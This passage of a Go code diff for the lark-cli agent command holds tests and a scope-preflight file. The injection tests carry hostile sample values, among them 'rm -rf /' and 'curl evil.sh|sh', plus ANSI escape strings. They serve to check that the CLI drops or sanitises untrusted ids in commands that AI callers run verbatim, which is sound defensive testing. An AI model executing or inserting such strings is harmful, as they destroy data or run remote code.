t.Errorf("provider entry should not contain a discoverable field: %v", first)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
|
||||
// without --format emits the JSON envelope (pretty is opt-in).
|
||||
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetArgs([]string{})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agent list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
|
||||
// row plus tab-separated provider lines, not a JSON envelope.
|
||||
func TestAgentListRun_PrettyFormat(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
opts := &listOptions{Factory: f, Format: "pretty"}
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list pretty should not error: %v", err)
|
||||
}
|
||||
text := out.String()
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.HasPrefix(text, "SCHEME") {
|
||||
t.Errorf("pretty output should start with a header row: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example") {
|
||||
t.Errorf("pretty output should contain the example provider: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example:<agent_id>") {
|
||||
t.Errorf("pretty output should contain the example ref format: %s", text)
|
||||
}
|
||||
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
|
||||
// "where do I get an agent_id" cue does not disappear in the pretty view.
|
||||
if !strings.Contains(text, "agent_id 获取") {
|
||||
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
|
||||
// on a provider without Discoverer is unsupported_capability (exit 2) with the
|
||||
// AgentIDSource text as hint, and — because the probe runs before any client
|
||||
// construction — works on an unconfigured Factory.
|
||||
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
|
||||
registerScripted()
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "fakeflow"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be 2, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
|
||||
t.Errorf("message should state that listing is not supported, got %q", err.Error())
|
||||
}
|
||||
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
|
||||
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
|
||||
// invalid_argument and the message lists the registered schemes.
|
||||
func TestAgentListScheme_UnknownScheme(t *testing.T) {
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "nosuch"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
|
||||
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
|
||||
}
|
||||
// Hand-written validation errors carry a recovery hint pointing at
|
||||
// `agent list` for provider discovery.
|
||||
if !strings.Contains(p.Hint, "agent list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// stubCore wires the mandatory core fields onto a test *Provider; the list
|
||||
// tests never dispatch Send/GetTask (they only exercise ListAgents), but
|
||||
// Register requires both non-nil.
|
||||
func stubCore(p *iagent.Provider) *iagent.Provider {
|
||||
p.Send = func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil }
|
||||
p.GetTask = func(ctx context.Context, taskID string) (*iagent.AgentTask, error) { return nil, nil }
|
||||
return p
|
||||
}
|
||||
|
||||
// newFakeDisc is a test-only enumerable provider (wires ListAgents), to pin the
|
||||
// `agent list <scheme>` positive path without a real catalog provider.
|
||||
func newFakeDisc() *iagent.Provider {
|
||||
return stubCore(&iagent.Provider{
|
||||
ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
|
||||
return []iagent.AgentSummary{
|
||||
{AgentRef: "fakedisc:a1", Name: "Agent One", Description: "第一个"},
|
||||
{AgentRef: "fakedisc:a2", Name: "Agent Two"},
|
||||
}, nil
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// registerFakeDisc registers the fakedisc scheme. Like fakepause in
|
||||
// send_test.go this leaks into the package-level registry for the remaining
|
||||
// tests of this package run — so no test in this package may assert an exact
|
||||
// provider set or provider count.
|
||||
func registerFakeDisc() {
|
||||
iagent.Register("fakedisc", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newFakeDisc(), nil },
|
||||
Label: "test fake (discoverer)",
|
||||
AgentRefFormat: "fakedisc:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindCatalog,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
})
|
||||
}
|
||||
|
||||
// TestAgentListScheme_DiscovererListsAgents pins the positive path: a
|
||||
// provider implementing Discoverer yields {agents:[AgentSummary...]} plus
|
||||
// meta.count.
|
||||
func TestAgentListScheme_DiscovererListsAgents(t *testing.T) {
|
||||
registerFakeDisc()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedisc should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
agents, ok := data["agents"].([]interface{})
|
||||
if !ok || len(agents) != 2 {
|
||||
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
|
||||
}
|
||||
first, _ := agents[0].(map[string]interface{})
|
||||
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
|
||||
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PropagatesIdentity pins the Task 10 review item: the
|
||||
// provider rebuilt for the real ListAgents call must carry the resolved
|
||||
// identity in its Deps (aligned with resolveProvider), not a zero As.
|
||||
func TestAgentListScheme_PropagatesIdentity(t *testing.T) {
|
||||
var captured iagent.Deps
|
||||
iagent.Register("fakedeps", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
|
||||
captured = deps
|
||||
return newFakeDisc(), nil
|
||||
},
|
||||
Label: "test fake (deps capture)",
|
||||
AgentRefFormat: "fakedeps:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindCatalog,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedeps"}
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedeps should not error: %v", err)
|
||||
}
|
||||
if captured.As == "" {
|
||||
t.Error("the rebuilt provider's Deps.As should carry the resolved identity, got empty")
|
||||
}
|
||||
if captured.As != f.ResolvedIdentity {
|
||||
t.Errorf("Deps.As should match the Factory's resolved identity, got %q vs %q", captured.As, f.ResolvedIdentity)
|
||||
}
|
||||
}
|
||||
|
||||
// newDirtyName is an enumerable provider whose agent names carry ANSI escapes,
|
||||
// to pin the pretty-path sanitization of agent-controlled fields.
|
||||
func newDirtyName() *iagent.Provider {
|
||||
return stubCore(&iagent.Provider{
|
||||
ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
|
||||
return []iagent.AgentSummary{
|
||||
{AgentRef: "fakedirty:a1", Name: "\x1b[31mEvil\x1b[0m One", Description: "d\x1b[2Jesc"},
|
||||
}, nil
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PrettyStripsANSI pins the Task 10 review item: `agent list
|
||||
// <scheme> --format pretty` must strip ANSI escapes from the agent-controlled
|
||||
// Name/Description before they reach the terminal.
|
||||
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
|
||||
iagent.Register("fakedirty", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newDirtyName(), nil },
|
||||
Label: "test fake (dirty names)",
|
||||
AgentRefFormat: "fakedirty:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindCatalog,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedirty pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
|
||||
t.Errorf("readable text should remain after stripping, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must be registered on `agent list` and filter the envelope.
|
||||
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"--jq", ".ok"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agent list --jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "true" {
|
||||
t.Errorf("--jq .ok should output only true, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
|
||||
// of --format, the --jq flag presence, and that list takes at most one
|
||||
// positional arg (the scheme).
|
||||
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agent list should have a --format flag")
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("jq") == nil {
|
||||
t.Error("agent list should have a --jq flag")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err != nil {
|
||||
t.Errorf("agent list with no args should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example"}); err != nil {
|
||||
t.Errorf("agent list <scheme> should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
|
||||
t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
|
||||
}
|
||||
}
|
||||
218
cmd/agent/next_contract_test.go
Normal file
218
cmd/agent/next_contract_test.go
Normal file
@@ -0,0 +1,218 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
|
||||
// contract test automatically covers any future nextForTask branch keyed on a
|
||||
// state instead of relying on hand-picked samples.
|
||||
var allTaskStates = []iagent.TaskState{
|
||||
iagent.StateSubmitted,
|
||||
iagent.StateWorking,
|
||||
iagent.StateInputRequired,
|
||||
iagent.StateAuthRequired,
|
||||
iagent.StateCompleted,
|
||||
iagent.StateFailed,
|
||||
iagent.StateCanceled,
|
||||
iagent.StateRejected,
|
||||
iagent.StateUnknown,
|
||||
}
|
||||
|
||||
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
|
||||
// every next command emitted by nextForTask — across all 9 task states, with
|
||||
// and without a context id, template hints included (their <...> placeholders
|
||||
// are single space-free tokens, so they parse as ordinary flag values) — must
|
||||
// traverse and flag-parse against the real agent command tree. meta.next is
|
||||
// defined as "AI executes this verbatim", so a next that references a
|
||||
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
|
||||
// at build time instead of by a failing acceptance run.
|
||||
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
|
||||
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
|
||||
// credentials; all meta.next commands live under `lark-cli agent ...`).
|
||||
agentTree := NewCmdAgent(nil)
|
||||
|
||||
for _, state := range allTaskStates {
|
||||
for _, ctxID := range []string{"", "conversation_1"} {
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: ctxID,
|
||||
State: state,
|
||||
IsTerminal: state.IsTerminal(),
|
||||
}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) == 0 {
|
||||
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
|
||||
}
|
||||
for _, n := range next {
|
||||
if state == iagent.StateAuthRequired {
|
||||
// auth_required is an agent-side task state whose next step is
|
||||
// the auth (re-authorize) flow, so it legitimately points OUT
|
||||
// of the agent subtree and is not traversable against
|
||||
// agentTree; assert its shape and skip the agent traversal.
|
||||
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
|
||||
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(n.Command, "lark-cli agent ") {
|
||||
t.Fatalf("next %q must target the agent subtree", n.Command)
|
||||
}
|
||||
// WHEN: the command string is parsed against the real tree.
|
||||
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
|
||||
c, flags, err := agentTree.Traverse(argv)
|
||||
// THEN: it traverses to a leaf and its flags all exist.
|
||||
if err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
if c == agentTree {
|
||||
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
|
||||
}
|
||||
if err := c.ParseFlags(flags); err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
|
||||
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
|
||||
// whole next entry (omit rather than risk injection), in every state —
|
||||
// meta.next commands are executed verbatim by AI callers, so shell
|
||||
// metacharacters in an interpolated id are command injection.
|
||||
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
|
||||
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
|
||||
for _, state := range allTaskStates {
|
||||
task := &iagent.AgentTask{TaskID: bad, State: state}
|
||||
if next := nextForTask("example:agent_x", task); len(next) != 0 {
|
||||
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
|
||||
// the user-echoed ref is interpolated into every next command, so a ref that
|
||||
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
|
||||
// suppresses the whole hint — a ref with spaces/quotes would make the command
|
||||
// un-copy-pasteable at best and an injection surface at worst.
|
||||
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
|
||||
if next := nextForTask(bad, task); len(next) != 0 {
|
||||
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
|
||||
}
|
||||
}
|
||||
if next := nextForTask("example:agent_x", task); len(next) == 0 {
|
||||
t.Error("valid ref example:agent_x should keep next")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
|
||||
// its degradation semantics: a legit task_id with an injection-shaped
|
||||
// context_id (input_required branch interpolates both) keeps the hint but
|
||||
// replaces the dirty id with the <context_id> placeholder — Template:true, no
|
||||
// untrusted content interpolated.
|
||||
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
|
||||
dirty := "conv_1; curl evil.sh|sh"
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: dirty,
|
||||
State: iagent.StateInputRequired,
|
||||
}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
|
||||
}
|
||||
if !next[0].Template {
|
||||
t.Errorf("degraded hint must be template=true, got %+v", next[0])
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "<context_id>") {
|
||||
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
|
||||
}
|
||||
if strings.Contains(next[0].Command, "conv_1") {
|
||||
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
|
||||
// agent-side task state (the end user must (re)authorize in the agent), NOT a
|
||||
// text-continuation like input_required. Its next must point at the auth
|
||||
// re-authorize flow (auth login --scope), never reuse the text-continuation
|
||||
// send hint.
|
||||
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("auth_required should produce 1 next, got %+v", next)
|
||||
}
|
||||
// Must NOT be the input_required text-continuation hint.
|
||||
if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
|
||||
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
|
||||
}
|
||||
// Must point at the auth (re-authorize) flow.
|
||||
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
|
||||
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
|
||||
}
|
||||
// The concrete scopes come from the card, so the command carries a
|
||||
// placeholder and must be marked template.
|
||||
if !next[0].Template {
|
||||
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
|
||||
// default: task get has --watch, not --wait, and the poll hint must suggest a
|
||||
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
|
||||
// forever on a long task nor self-hammers with unbounded polls.
|
||||
func TestNextForTaskWatchNotWait(t *testing.T) {
|
||||
next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
|
||||
if len(next) == 0 {
|
||||
t.Fatal("working task must produce a poll next")
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
|
||||
t.Fatalf("poll next must use --watch: %+v", next)
|
||||
}
|
||||
wantTimeout := "--timeout " + defaultWatchTimeout.String()
|
||||
if !strings.Contains(next[0].Command, wantTimeout) {
|
||||
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskTemplateFlag pins the template marker semantics: the
|
||||
// input_required continue hint carries a <你的答复> placeholder, so it must be
|
||||
// marked template=true (not directly executable); poll and terminal-detail
|
||||
// hints are verbatim-executable and must not carry the marker.
|
||||
func TestNextForTaskTemplateFlag(t *testing.T) {
|
||||
// input_required with a known context: placeholder in --text → template.
|
||||
cont := nextForTask("example:agent_x", &iagent.AgentTask{
|
||||
TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
|
||||
})
|
||||
if len(cont) != 1 || !cont[0].Template {
|
||||
t.Fatalf("input_required next must be template=true, got %+v", cont)
|
||||
}
|
||||
// input_required without a context id: <context_id> placeholder → template.
|
||||
contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
|
||||
TaskID: "chat_1", State: iagent.StateInputRequired,
|
||||
})
|
||||
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
|
||||
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
|
||||
}
|
||||
// Poll and terminal-detail hints are directly executable → no template flag.
|
||||
for _, task := range []*iagent.AgentTask{
|
||||
{TaskID: "chat_1", State: iagent.StateWorking},
|
||||
{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
|
||||
} {
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 || next[0].Template {
|
||||
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
133
cmd/agent/preflight.go
Normal file
133
cmd/agent/preflight.go
Normal file
@@ -0,0 +1,133 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// This file implements the local scope preflight: after
|
||||
// resolveProvider succeeds and before the real API call, the stored user
|
||||
// token's scope list is checked against the provider's RequiredScopes
|
||||
// declaration. The check is all-or-nothing — any real API verb requires the
|
||||
// provider's entire scope set. It is entirely local — the scope list is read
|
||||
// from the credential cache (keychain), never from the network — so a missing
|
||||
// scope surfaces as an actionable validation error (exit 2) instead of a
|
||||
// round-trip API 99991679. `--dry-run` never reaches it (dry-run returns before
|
||||
// resolveProvider), preserving its always-available contract.
|
||||
|
||||
// storedUserScopes is the token-scope read seam: it returns the granted scope
|
||||
// list of the stored user token from the LOCAL credential cache (keychain via
|
||||
// GetStoredToken — same read path as `auth check`), issuing no network
|
||||
// request. nil/empty means "no usable local scope list" and the caller skips
|
||||
// preflight. Tests swap it so no unit test touches the real keychain.
|
||||
var storedUserScopes = func(f *cmdutil.Factory) []string {
|
||||
if f == nil || f.Config == nil {
|
||||
return nil
|
||||
}
|
||||
config, err := f.Config()
|
||||
if err != nil || config == nil || config.UserOpenId == "" {
|
||||
return nil
|
||||
}
|
||||
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
|
||||
if stored == nil {
|
||||
return nil
|
||||
}
|
||||
return strings.Fields(stored.Scope)
|
||||
}
|
||||
|
||||
// preflightInput is the pure input of preflightScopes, so the check itself is
|
||||
// unit-testable without a Factory, keychain, or provider client.
|
||||
type preflightInput struct {
|
||||
Identity core.Identity
|
||||
TokenScopes []string
|
||||
Info iagent.ProviderInfo
|
||||
}
|
||||
|
||||
// preflightScopes runs the local scope check. It returns nil when the check
|
||||
// does not apply — bot identity (a tenant token has no scope-list concept; the
|
||||
// API error + errclass hint own that path) or an unreadable/empty local scope
|
||||
// list (the downstream not_configured / need-authorization logic owns that).
|
||||
// The check is all-or-nothing: when any scope in the provider's RequiredScopes
|
||||
// set is not granted it returns the missing_scope permission error
|
||||
// (exit 3, mirroring the event-consume scope preflight) carrying every missing
|
||||
// scope, with a re-auth hint whose --scope
|
||||
// merges the stored grants with the provider's FULL RequiredScopes set — auth
|
||||
// login --scope REPLACES the grant, so the hint must be copy-paste-safe
|
||||
// without dropping existing permissions.
|
||||
func preflightScopes(in preflightInput) error {
|
||||
if in.Identity != core.AsUser || len(in.TokenScopes) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
granted := make(map[string]bool, len(in.TokenScopes))
|
||||
for _, s := range in.TokenScopes {
|
||||
granted[s] = true
|
||||
}
|
||||
|
||||
var missing []string
|
||||
for _, scope := range in.Info.RequiredScopes {
|
||||
if !granted[scope] {
|
||||
missing = append(missing, scope)
|
||||
}
|
||||
}
|
||||
if len(missing) == 0 {
|
||||
return nil
|
||||
}
|
||||
sort.Strings(missing)
|
||||
|
||||
// Merged re-auth scope set: existing grants ∪ the provider's FULL
|
||||
// RequiredScopes, sorted for stability.
|
||||
mergedSet := make(map[string]bool, len(in.TokenScopes)+len(in.Info.RequiredScopes))
|
||||
for _, s := range in.TokenScopes {
|
||||
mergedSet[s] = true
|
||||
}
|
||||
for _, s := range in.Info.RequiredScopes {
|
||||
mergedSet[s] = true
|
||||
}
|
||||
merged := make([]string, 0, len(mergedSet))
|
||||
for s := range mergedSet {
|
||||
merged = append(merged, s)
|
||||
}
|
||||
sort.Strings(merged)
|
||||
|
||||
return errs.NewPermissionError(errs.SubtypeMissingScope,
|
||||
"当前 user 身份缺少本命令所需 scope: %s", strings.Join(missing, ", ")).
|
||||
WithIdentity(string(core.AsUser)).
|
||||
WithMissingScopes(missing...).
|
||||
WithHint("一次性补齐该 agent 全部所需 scope(已合并现有授权,照抄不丢权限): lark-cli auth login --scope \"%s\"",
|
||||
strings.Join(merged, " "))
|
||||
}
|
||||
|
||||
// preflightScopesForRef is the command-layer wiring: it resolves the provider
|
||||
// registration for ref's scheme, reads the stored user scopes through the
|
||||
// seam, and runs the all-or-nothing preflight. Any gap in its own inputs (nil
|
||||
// Factory, unparsable ref, unregistered scheme) yields nil — the preflight is
|
||||
// an accelerator, never a new failure mode; the paths that validate ref/scheme
|
||||
// for real have already run inside resolveProvider.
|
||||
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
|
||||
if f == nil || id != core.AsUser {
|
||||
return nil
|
||||
}
|
||||
r, err := iagent.ParseRef(ref)
|
||||
if err != nil {
|
||||
return nil //nolint:nilerr // preflight is best-effort: resolveProvider already surfaced any real ref error
|
||||
}
|
||||
info, ok := iagent.Info(r.Scheme)
|
||||
if !ok {
|
||||
return nil
